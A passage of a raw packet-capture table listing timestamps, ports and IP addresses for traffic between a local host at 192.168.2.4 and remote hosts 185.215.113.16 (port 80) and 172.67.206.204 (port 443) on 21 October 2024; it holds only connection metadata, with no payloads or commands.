Oct 21, 2024 10:47:18.409248114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409255028 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409270048 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409276962 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409280062 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409291983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409300089 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409307003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409317017 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409317970 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409327030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409339905 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409344912 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409356117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409358025 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409365892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409451962 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409456968 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409460068 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409468889 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409528017 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409538031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409549952 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409559965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409565926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409571886 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409583092 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409595013 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409600019 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409631014 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409631968 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409643888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409653902 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409662008 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409671068 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409676075 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409706116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409714937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409759045 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409781933 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409791946 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409801006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409811020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409820080 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409848928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409857988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409883022 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409883022 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409921885 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409933090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409941912 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409951925 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409962893 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409977913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409995079 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410031080 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410032034 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410032988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410043955 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410128117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410130978 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410137892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410145998 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410159111 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410164118 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410167933 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410200119 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410208941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410218000 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410219908 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410228968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410238028 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410252094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410262108 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410269976 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410279989 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410291910 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410306931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410311937 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410332918 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410345078 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410409927 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410461903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410470963 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410480022 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410486937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410501003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410507917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410516024 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410525084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410542965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410552025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410567999 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410578966 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410583973 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410588026 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410592079 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410641909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410650015 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410655022 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410655022 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410665035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410672903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410679102 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410682917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410712004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410721064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410726070 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410758972 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410769939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410800934 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410813093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410856009 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410856009 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410860062 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410926104 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.410960913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410969019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.410976887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411000013 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411009073 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411014080 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411019087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411022902 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411027908 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411037922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411058903 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411124945 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411134005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411143064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411144972 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411159039 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411168098 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411176920 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411185980 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411186934 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411195993 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411245108 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411247969 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411279917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411288977 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.411293983 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411324978 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.411361933 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412353992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412365913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412375927 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412432909 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412473917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412491083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412497044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412506104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412511110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412528992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412540913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412550926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412559032 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412564039 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412575006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412578106 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412587881 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412600994 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412600994 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412633896 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412662983 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412729979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412748098 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412759066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412770987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412781000 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412786007 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412791014 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412796021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412806034 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412817001 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412817001 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.412817955 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412832022 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412837982 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412842989 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412853003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412873983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412884951 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412897110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412913084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412924051 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412934065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412950993 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412962914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412974119 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412983894 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.412997007 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.413007975 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.413460016 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.413532019 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.413558960 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.413954973 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414163113 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414180040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414191961 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414202929 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414213896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414226055 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414238930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414248943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414259911 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414264917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414269924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414274931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414284945 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414330959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414345026 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414355040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414360046 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414371014 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414381981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414385080 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.414392948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414405107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414416075 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414427042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414438963 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414444923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414453983 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.414453983 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.414458990 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414469957 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414480925 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414493084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414505005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.414582968 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.550266027 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.550337076 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.551938057 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.551947117 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.552182913 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.553287983 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.553303957 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.553360939 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.575877905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.575898886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.575910091 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.575920105 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576050997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576221943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576220036 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.576234102 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576244116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576262951 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576272964 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576281071 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576292038 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576302052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576312065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576322079 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576334000 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576344013 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576354980 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576364994 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576374054 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576383114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576395035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576441050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576453924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576462030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576472998 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576483011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576493025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576503038 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576513052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576522112 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576531887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576543093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576622009 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576632023 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576641083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576656103 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576666117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576675892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576685905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576695919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576704979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576719999 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576736927 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576747894 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576756954 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576775074 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576786041 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576796055 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576807022 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576817036 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576833010 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576843977 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576853037 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576864958 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576874018 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576884031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576894045 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576905012 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576914072 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576924086 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576935053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576944113 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576965094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576975107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576988935 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.576998949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577013016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577023029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577033043 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577043056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577050924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577063084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577073097 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577083111 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577092886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577101946 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577116013 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577214956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577286959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577297926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577306032 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577318907 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577337027 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577346087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577356100 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577374935 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577385902 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577394009 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577405930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577415943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577523947 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577541113 CEST	80	49914	185.215.113.16	192.168.2.4
